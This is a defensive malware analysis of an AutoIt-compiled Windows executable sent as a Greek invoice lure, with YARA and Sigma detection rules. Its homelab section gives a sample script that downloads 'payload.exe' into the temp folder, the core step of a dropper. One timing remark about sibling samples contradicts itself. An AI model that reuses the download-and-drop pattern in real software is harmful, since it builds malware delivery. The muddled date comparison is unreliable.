unclassified-autoit-compiled: 1d0834e7 — Greek invoice-lure, 221 KB SCRIPT, plain AutoItSC

Executive Summary

Fifth confirmed sibling of the AutoItSC single-file compiled PE32 cluster. A plain (non-UPX) PE32 (x86 GUI) built Sep 2024 with a 221 KB AutoIt v3 compiled script embedded as RT_RCDATA SCRIPT. The lure masquerades as a Greek invoice (ΛΕΙΤΕΙ ΤΙΜΟΛΟΓΙΟ.bat.exe). OpenCTI tags this de-pumped / depumped; that label is an umbrella with no independent technical fingerprint. No CAPE detonation available.

What It Is

Packer: None. Sections are .text, .rdata, .data, .rsrc, .reloc — no UPX, no overlay packer. ^[pefile.txt]

Payload: AutoIt v3 compiled bytecode, resource type 10 (RT_RCDATA) name SCRIPT, size 226,250 bytes (220.9 KB), header AU3!EA06 at offset 0xd0410 inside .rsrc. ^[strings.txt:1381] ^[pefile.txt]

Family note: Same build fingerprint as the unclassified-autoit-compiled cluster (AutoItSC single-file PE32, RT_RCDATA SCRIPT, standard WinInet/WinSock/GDI runtime import table). The depumped label is an OpenCTI umbrella covering at least 19 binaries of diverse formats; technically this sample belongs to the AutoItSC cluster. ^[triage.json]

How It Works

1. AutoIt interpreter bootstrap: On launch the AutoIt runtime loads the SCRIPT RCDATA resource, decrypts the compiled bytecode, and begins execution. No unpacking layer — the binary is a plain compiled PE. ^[pefile.txt]

2. Script logic opacity: The compiled AutoIt bytecode in the SCRIPT resource is encrypted; no cleartext URLs, domains, IP addresses, mutex names, or named pipes are recoverable statically. ^[capa.txt]

3. Runtime API surface: The import table is the standard AutoItSC runtime suite — not the script's direct imports, but the APIs the interpreter exposes to the script:

   • KERNEL32.{LoadLibraryA,GetProcAddress,VirtualProtect,VirtualAlloc,CreateProcessW,ExitProcess,Reg*}
   • ADVAPI32.{RegSetValueExW,RegCreateKeyExW,OpenProcessToken,AdjustTokenPrivileges,LookupPrivilegeValueW}
   • GDI32.{LineTo,StretchBlt,GetDIBits,CreateCompatibleBitmap}
   • IPHLPAPI.IcmpSendEcho, MPR.WNetUseConnectionW
   • ole32.CoGetObject, OLEAUT32.VariantClear, PSAPI.GetProcessMemoryInfo
   • SHELL32.{ShellExecuteW,Shell_NotifyIconW,DragFinish}, USER32.{GetDC,GetAsyncKeyState,SendInput}
   • UxTheme.IsThemeActive, VERSION.VerQueryValueW
   • WININET.{InternetOpenW,HttpSendRequestW,InternetReadFile,FtpOpenFileW}
   • WINMM.timeGetTime, WSOCK32.{socket,connect,send,recv,WSAStartup} ^[pefile.txt]

This import footprint gives the script full network (HTTP/FTP/raw TCP), filesystem, registry, token-privilege, screenshot, clipboard, and keylogging access.

Decompiled Behavior

Radare2 analysis finds 2,551 functions; named symbols are sparse (stripped C++ runtime). The entry point is standard AutoItSC initialisation:

• entry0 @ 0x42800a: AutoIt runtime entry. Pushes stack cookie (0x14), calls fcn.00428b40 (likely C runtime initialisation / SEH setup), then fcn.0042a048 (AutoIt-specific setup), validates the PE header magic (MZ at 0x400000, PE at 0x40003c), and proceeds to resource loading and script decryption. ^[r2:entry0]

No Ghidra decompilation is attempted — the binary is the AutoItSC runtime itself (~1 MB of C++ boilerplate). The script logic lives in the encrypted SCRIPT resource and is opaque without an AutoIt decompiler or runtime detonation.

C2 Infrastructure

C2 obfuscated / runtime-resolved. The compiled AutoIt bytecode is encrypted; no cleartext URLs, domains, IP addresses, mutex names, or named pipes recoverable statically. ^[capa.txt]

Dynamic execution (CAPE) or an AutoIt decompiler (Exe2Aut, MyAutToExe) would be required to extract C2 indicators. CAPE was skipped for this sample because no Windows guest VM is currently available. ^[dynamic-analysis.md]

Interesting Tidbits

• Greek invoice lure: The filename ΛΕΙΤΕΙ ΤΙΜΟΛΟΓΙΟ.bat.exe translates roughly to "Missing Invoice.bat.exe" — a classic social-engineering masquerade using a double extension. The .bat.exe suffix hides the real extension from non-technical victims while the .bat prefix may suggest a batch script. ^[triage.json]
• No UPX packing: Unlike sibling 6cc26f7c (UPX-packed, 616 KB), this sample is delivered plain — 1.09 MB with no compression. This suggests the actor did not apply an additional packer layer, or the delivery channel (email / web) tolerates larger files. ^[pefile.txt]
• Two-day build delta: Compile timestamp Sep 10 2024 is two days before sibling 6cc26f7c (Sep 12 2024) and one month before sibling 2c6133ca (Jul 2024 is earlier, actually Jul is before Sep). The cluster shows sustained activity through Q3 2024. ^[exiftool.json]
• Third-party compilation string: strings.txt line 782 contains the canonical AutoItSC marker: This is a third-party compiled AutoIt script. This confirms the binary was produced by the official AutoIt v3 compiler (Aut2Exe), not a repacked or custom runtime. ^[strings.txt:782]
• CLI switches exposed: The binary accepts standard AutoIt runtime command-line switches /AutoIt3ExecuteScript, /AutoIt3ExecuteLine, and /AutoIt3OutputDebug — useful for behavioral detection. ^[strings.txt]
• floss pipeline failure: Same as sibling 6cc26f7c — the triage floss.txt contains only a CLI argument error (--no: invalid choice), indicating a malformed pipeline invocation. No decoded strings were produced. ^[floss.txt]

How To Mess With It (Homelab Replication)

Goal: Build a comparable plain AutoItSC single-file PE32 and verify the static fingerprint matches.

1. Toolchain: AutoIt v3.3.16.1 (SciTE4AutoIt bundle) on Windows 10/11 x64.
2. Script: Write a minimal AutoIt script:

   #include <Inet.au3>
   #include <GUIConstantsEx.au3>
   ConsoleWrite("Hello from AutoItSC" & @CRLF)
   InetGet("http://example.com/payload.exe", @TempDir & "\payload.exe")
   

3. Compile: Use Aut2Exe (x86, single-file output). Set:
   • Output: my_autoit.exe
   • Icon: any .ico (this sample uses 9 RT_ICON entries in .rsrc)
   • Options: single-file (no external dependencies)
   • Do NOT pack with UPX — we are replicating the plain variant.
4. Verify:
   • file my_autoit.exe → PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
   • rabin2 -I my_autoit.exe → linker 12.0, canary: true, nx: false, no UPX sections
   • pefile.py → RT_RCDATA SCRIPT resource with AU3!EA06 header, size ~200–300 KB depending on script complexity
   • strings my_autoit.exe | grep -i autoit → should contain This is a third-party compiled AutoIt script.
5. What you'll learn: How the AutoItSC runtime maps script bytecode to Win32 API calls, and why the import table is the same across wildly different malicious scripts.

Deployable Signatures

YARA rule

rule AutoItSC_SingleFile_SCRIPT_Resource {
    meta:
        description = "Detects AutoIt v3 single-file compiled PE32 with embedded SCRIPT resource"
        author = "PacketPursuit"
        date = "2026-06-18"
        reference = "/intel/analyses/1d0834e7d4fe46aa143359a35c69bebc449fc1b1799af77eb96a4cbe320b6884.html"
    strings:
        $au3_hdr1 = "AU3!EA06"
        $au3_hdr2 = "AU3!P/I"
        $autoit_str = "This is a third-party compiled AutoIt script."
        $mz = { 4D 5A }
    condition:
        $mz at 0 and
        (uint16(uint32(0x3C)) == 0x4550) and
        filesize < 3MB and
        (any of ($au3_hdr*)) and
        $autoit_str
}

Sigma rule — AutoIt compiled script execution with external script injection

title: AutoIt Compiled Script External Execution
status: experimental
description: Detects execution of an AutoIt compiled binary with command-line arguments used to run external scripts or capture debug output.
logsource:
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - '/AutoIt3ExecuteScript'
            - '/AutoIt3ExecuteLine'
            - '/AutoIt3OutputDebug'
    condition: selection
falsepositives:
    - Legitimate AutoIt-based IT automation tools
level: medium

IOC list

Behavioral fingerprint

This binary is a single-file AutoIt v3 compiled executable. On launch it loads an embedded RT_RCDATA resource named SCRIPT (~221 KB), decrypts the compiled AutoIt bytecode (AU3!EA06 header), and executes it within the AutoIt interpreter. The runtime import table includes WinInet/WinSock (HTTP/FTP/TCP C2), ADVAPI32 (registry persistence, token manipulation), GDI32 (screenshot capture), and USER32 (keylogging, clipboard, input injection). The binary accepts standard AutoIt CLI switches (/AutoIt3ExecuteScript, /AutoIt3ExecuteLine, /AutoIt3OutputDebug). No UPX packing is present; the PE is a plain MSVC 2013-linked executable with 5 standard sections.

Detection Signatures

References

• MalwareBazaar / OpenCTI artifact: c93f3cf6-ccfb-4954-9bd4-844762954d8f ^[metadata.json]
• Related wiki pages: unclassified-autoit-compiled, autoit-compiled-script-dropper, depumped
• Cluster sibling reports: 6cc26f7c (UPX-packed shipping lure), ac2ca060 (business lure, 802 KB), 2c6133ca (invoice lure, 311 KB), ff84806a (bureau lure, overlay script)

Provenance

• file.txt — file(1) 5.45
• exiftool.json — ExifTool 12.76
• pefile.txt — pefile 2023.2.7
• strings.txt — strings(1) from binutils, min-len 4
• rabin2-info.txt / r2:show_info / r2:entry0 — radare2 5.9.2
• capa.txt — capa 7.0.1 (AutoIt limitation warning)
• binwalk.txt — binwalk v2.3.4
• floss.txt — flare-floss (pipeline invocation error; no output)
• triage.json — internal triage pipeline
• dynamic-analysis.md — CAPE skipped (no Windows guest)
• Binary loaded directly into radare2 MCP for function analysis.